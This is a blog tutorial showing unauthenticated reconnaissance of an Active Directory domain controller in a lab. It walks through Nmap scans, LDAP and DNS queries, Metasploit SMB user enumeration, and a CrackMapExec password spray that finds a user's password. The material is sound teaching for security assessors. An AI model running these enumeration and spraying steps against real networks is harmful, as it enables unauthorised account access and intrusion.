Active Directory Reconnaissence - Part 1

Posted on Wed 12 February 2020 in Active Directory

So it's been a long time since I've blogged anything but I've finally ported my blog from Octopress and am now in a better position to update it.

For a while now I've been focusing on learning as much as possible about perfomring infrastructure security assessments and particularly Active Directory (AD), so it makes sense to start creating some blog posts regarding that.

AD is a highly complex database used to protect the rest of the infrastructure by providing methods to restrict access to rsources and segregate resources from each other. However, partly due to it's complexity and partly due to backwards compatibility, it's very common for insecure configurations to be in place on corporate networks. Due to this and the fact that it is usually used to provide access to huge sections of the infrastructure, it's a high value target to attack.

In this post, I'll demonstrate some basic reconnaissence that might be possible from a completely unauthenticated position on the infrastructure.

Lab Configuration

The lab configuration is simple, as shown below:

The main thing here is that the IP address of the domain controller is 192.168.73.20.

Basic Scanning

The first step would be to perform a port scan of the target system. Nmap is a common choice for a port scan and for good reason, Nmap has tons of options and is capable of much more than simple port scanning.

A basic port scan using Nmap of the top 1000 TCP ports is shown:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
Lab:~# nmap -sT -Pn -n --open 192.168.73.20
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-12 23:35 GMT
Nmap scan report for 192.168.73.20
Host is up (0.00040s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 3.08 seconds

As shoiwn above, a bunch of ports are open on the target domain controller, these can be further probed using the -sV option:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Lab:~# nmap -sT -Pn -n --open 192.168.73.20 -sV -p53,88,135,139,389,445,464,593,636,3268,3269,3389
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-12 23:38 GMT
Nmap scan report for 192.168.73.20
Host is up (0.0013s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-02-12 23:38:18Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: internal.zeroday.lab, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: ICHILD1)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: internal.zeroday.lab, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=2/12%Time=5E448C70%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: IC1DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.72 seconds

This is known as a service scan and attempts to probe the listening service and return a reliable software name and version.

Some Basic Enumeration

LDAP Enumeration

As we can see Lightweight Directory Access Protocol (LDAP) is listening on a number of ports. That is an indication that this system is a domain controller.

The LDAP specification states that the server must provide some information about the {RootDSE](https://ldapwiki.com/wiki/RootDSE){:target="_blank"} even without authentication. This allows us to gather some basic information about the domain:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
Lab:~# nmap -sT -Pn -n --open 192.168.73.20 -p389 --script ldap-rootdse
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-12 23:59 GMT
Nmap scan report for 192.168.73.20
Host is up (0.0012s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse:
| LDAP Results
|   <ROOT>
|       currentTime: 20200212235943.0Z
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       dsServiceName: CN=NTDS Settings,CN=IC1DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       namingContexts: CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       namingContexts: CN=Schema,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       namingContexts: DC=ForestDnsZones,DC=internal,DC=zeroday,DC=lab
|       namingContexts: DC=child1,DC=internal,DC=zeroday,DC=lab
|       namingContexts: DC=DomainDnsZones,DC=child1,DC=internal,DC=zeroday,DC=lab
|       defaultNamingContext: DC=child1,DC=internal,DC=zeroday,DC=lab
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       configurationNamingContext: CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       rootDomainNamingContext: DC=internal,DC=zeroday,DC=lab
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       highestCommittedUSN: 172440
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       dnsHostName: IC1DC1.child1.internal.zeroday.lab
|       ldapServiceName: internal.zeroday.lab:[email protected]
|       serverName: CN=IC1DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       isSynchronized: TRUE
|       isGlobalCatalogReady: TRUE
|       domainFunctionality: 7
|       forestFunctionality: 7
|_      domainControllerFunctionality: 7
Service Info: Host: IC1DC1; OS: Windows

Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds

The ldap-rootdse Nmap script shows us that this domain controller belongs to a child domain (child1.internal.zeroday.lab), shown in the defaultNamingContext attribute, and the root domain is internal.zeroday.lab, shown in the rootDomainNamingContext attribute.

DNS Enumeration

Along with LDAP, the port scan showed that this system was listening on UDP port 53, this is almost certainly Domain Name System (DNS). DNS can be queried to determine the domain controllers for a particular domain:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Lab:~# dig srv _ldap._tcp.dc._msdcs.child1.internal.zeroday.lab @192.168.73.20

; <<>> DiG 9.11.14-3-Debian <<>> srv _ldap._tcp.dc._msdcs.child1.internal.zeroday.lab @192.168.73.20
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28760
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;_ldap._tcp.dc._msdcs.child1.internal.zeroday.lab. IN SRV

;; ANSWER SECTION:
_ldap._tcp.dc._msdcs.child1.internal.zeroday.lab. 600 IN SRV 0 100 389 IC1DC1.child1.internal.zeroday.lab.

;; ADDITIONAL SECTION:
IC1DC1.child1.internal.zeroday.lab. 3600 IN A   192.168.73.20

;; Query time: 1 msec
;; SERVER: 192.168.73.20#53(192.168.73.20)
;; WHEN: Thu Feb 13 00:15:34 GMT 2020
;; MSG SIZE  rcvd: 147

It can also be used to query the root domain's domain controllers:

1
2
3
4
Lab:~# dig +short srv _ldap._tcp.dc._msdcs.internal.zeroday.lab @192.168.73.20
0 100 389 IDC1.internal.zeroday.lab.
Lab:~# dig +short a IDC1.internal.zeroday.lab @192.168.73.20
192.168.71.20

SMB Enumeration

Server Message Block (SMB) can be really useful for attackers, there are many possible attacks against the service. Here I'll only perform some very basic enumeration.

First it's useful to know whether NULL authentication is permitted. A Metasploit module can be used to test for this:

1
2
3
4
msf5 auxiliary(scanner/smb/pipe_auditor) > run

[+] 192.168.73.20:445     - Pipes: \netlogon, \lsarpc, \samr, \atsvc, \epmapper, \eventlog, \InitShutdown, \lsass, \LSM_API_service, \ntsvcs, \protected_storage, \router, \scerpc, \srvsvc, \W32TIME_ALT, \wkssvc
[*] 192.168.73.20:        - Scanned 1 of 1 hosts (100% complete)

So we can access SMB pipes without requiring a username and password. While this isn't that common these days on domain controllers, I have seen this on some corporate networks.

We should also try enumerating users. Another Metasploit module can be used for this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
msf5 auxiliary(scanner/smb/smb_lookupsid) > run

[*] 192.168.73.20:445     - PIPE(LSARPC) LOCAL(ICHILD1 - 5-21-3578234567-448745970-1525302398) DOMAIN(ICHILD1 - 5-21-3578234567-448745970-1525302398)
[*] 192.168.73.20:445     - USER=Administrator RID=500
[*] 192.168.73.20:445     - USER=Guest RID=501
[*] 192.168.73.20:445     - USER=krbtgt RID=502
[*] 192.168.73.20:445     - USER=DefaultAccount RID=503
[*] 192.168.73.20:445     - GROUP=Domain Admins RID=512
[*] 192.168.73.20:445     - GROUP=Domain Users RID=513
[*] 192.168.73.20:445     - GROUP=Domain Guests RID=514
[*] 192.168.73.20:445     - GROUP=Domain Computers RID=515
[*] 192.168.73.20:445     - GROUP=Domain Controllers RID=516
[*] 192.168.73.20:445     - TYPE=4 NAME=Cert Publishers rid=517
[*] 192.168.73.20:445     - GROUP=Group Policy Creator Owners RID=520
[*] 192.168.73.20:445     - GROUP=Read-only Domain Controllers RID=521
[*] 192.168.73.20:445     - GROUP=Cloneable Domain Controllers RID=522
[*] 192.168.73.20:445     - GROUP=Protected Users RID=525
[*] 192.168.73.20:445     - GROUP=Key Admins RID=526
[*] 192.168.73.20:445     - TYPE=4 NAME=RAS and IAS Servers rid=553
[*] 192.168.73.20:445     - TYPE=4 NAME=Allowed RODC Password Replication Group rid=571
[*] 192.168.73.20:445     - TYPE=4 NAME=Denied RODC Password Replication Group rid=572
[*] 192.168.73.20:445     - USER=IC1DC1$ RID=1000
[*] 192.168.73.20:445     - TYPE=4 NAME=DnsAdmins rid=1101
[*] 192.168.73.20:445     - GROUP=DnsUpdateProxy RID=1102
[*] 192.168.73.20:445     - USER=INTERNAL$ RID=1103
[*] 192.168.73.20:445     - USER=child.user RID=1104
[*] 192.168.73.20:445     - USER=child.admin RID=1105
[*] 192.168.73.20:445     - USER=client1testspn$ RID=1106
[*] 192.168.73.20:445     - USER=child.local RID=1107
[*] 192.168.73.20:445     - USER=ChildTestSPN$ RID=1109
[*] 192.168.73.20:445     - USER=WIN10TEST$ RID=1110
[*] 192.168.73.20:445     - ICHILD1 [Administrator, Guest, krbtgt, DefaultAccount, IC1DC1$, INTERNAL$, child.user, child.admin, client1testspn$, child.local, ChildTestSPN$, WIN10TEST$ ]
[*] 192.168.73.20:        - Scanned 1 of 1 hosts (100% complete)

Password Spraying

Now that we have a list of valid usernames, it's worth trying to guess a valid password. Password spraying is a method of attack where you take a list of valid, or potentially valid, usernames and attempt to try different commonly used passwords across all usernames.

The lab environment is small but in a real world AD infrastructure it's very likely to be able to guess passwords for some accounts. Of course on a real infrastrcture extreme care has to be taken before attempting to perform password spraying attacks as there is a real possibilty of locking user accounts.

To perform a password spray CrackMapExec can be used:

1
2
3
4
5
6
Lab:~# cme smb 192.168.73.20 -d child1.internal.zeroday.lab -u users.txt -p Password4
SMB         192.168.73.20   445    IC1DC1           [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:IC1DC1) (domain:child1.internal.zeroday.lab) (signing:True) (SMBv1:True)
SMB         192.168.73.20   445    IC1DC1           [-] child1.internal.zeroday.lab\Administrator:Password4 STATUS_LOGON_FAILURE
SMB         192.168.73.20   445    IC1DC1           [-] child1.internal.zeroday.lab\IC1DC1$:Password4 STATUS_LOGON_FAILURE
SMB         192.168.73.20   445    IC1DC1           [-] child1.internal.zeroday.lab\INTERNAL$:Password4 STATUS_LOGON_FAILURE
SMB         192.168.73.20   445    IC1DC1           [+] child1.internal.zeroday.lab\child.user:Password4

The password for the child.user account was discovered in this password spray attempt. Now recon from an authenticated point of view is possible on this domain.

Conclusion

AD security is a huge topic and I've only began the scrath the surface in this post, even from an unauthenticated point of view. Hopefully this was a half decent way to introduce the topic though.

It's worth noting that there are many toold that perform the same tests carried out in this post, but some of them did not work. I might make a post demonstrating that because it's important to understand that different tools will work in different situations, so it's very useful to have knowledge of many and try others when your first choice fails.

Further Reading

If you are serious about AD security, the best resource out there is adscurity.org by Sean Metcalf.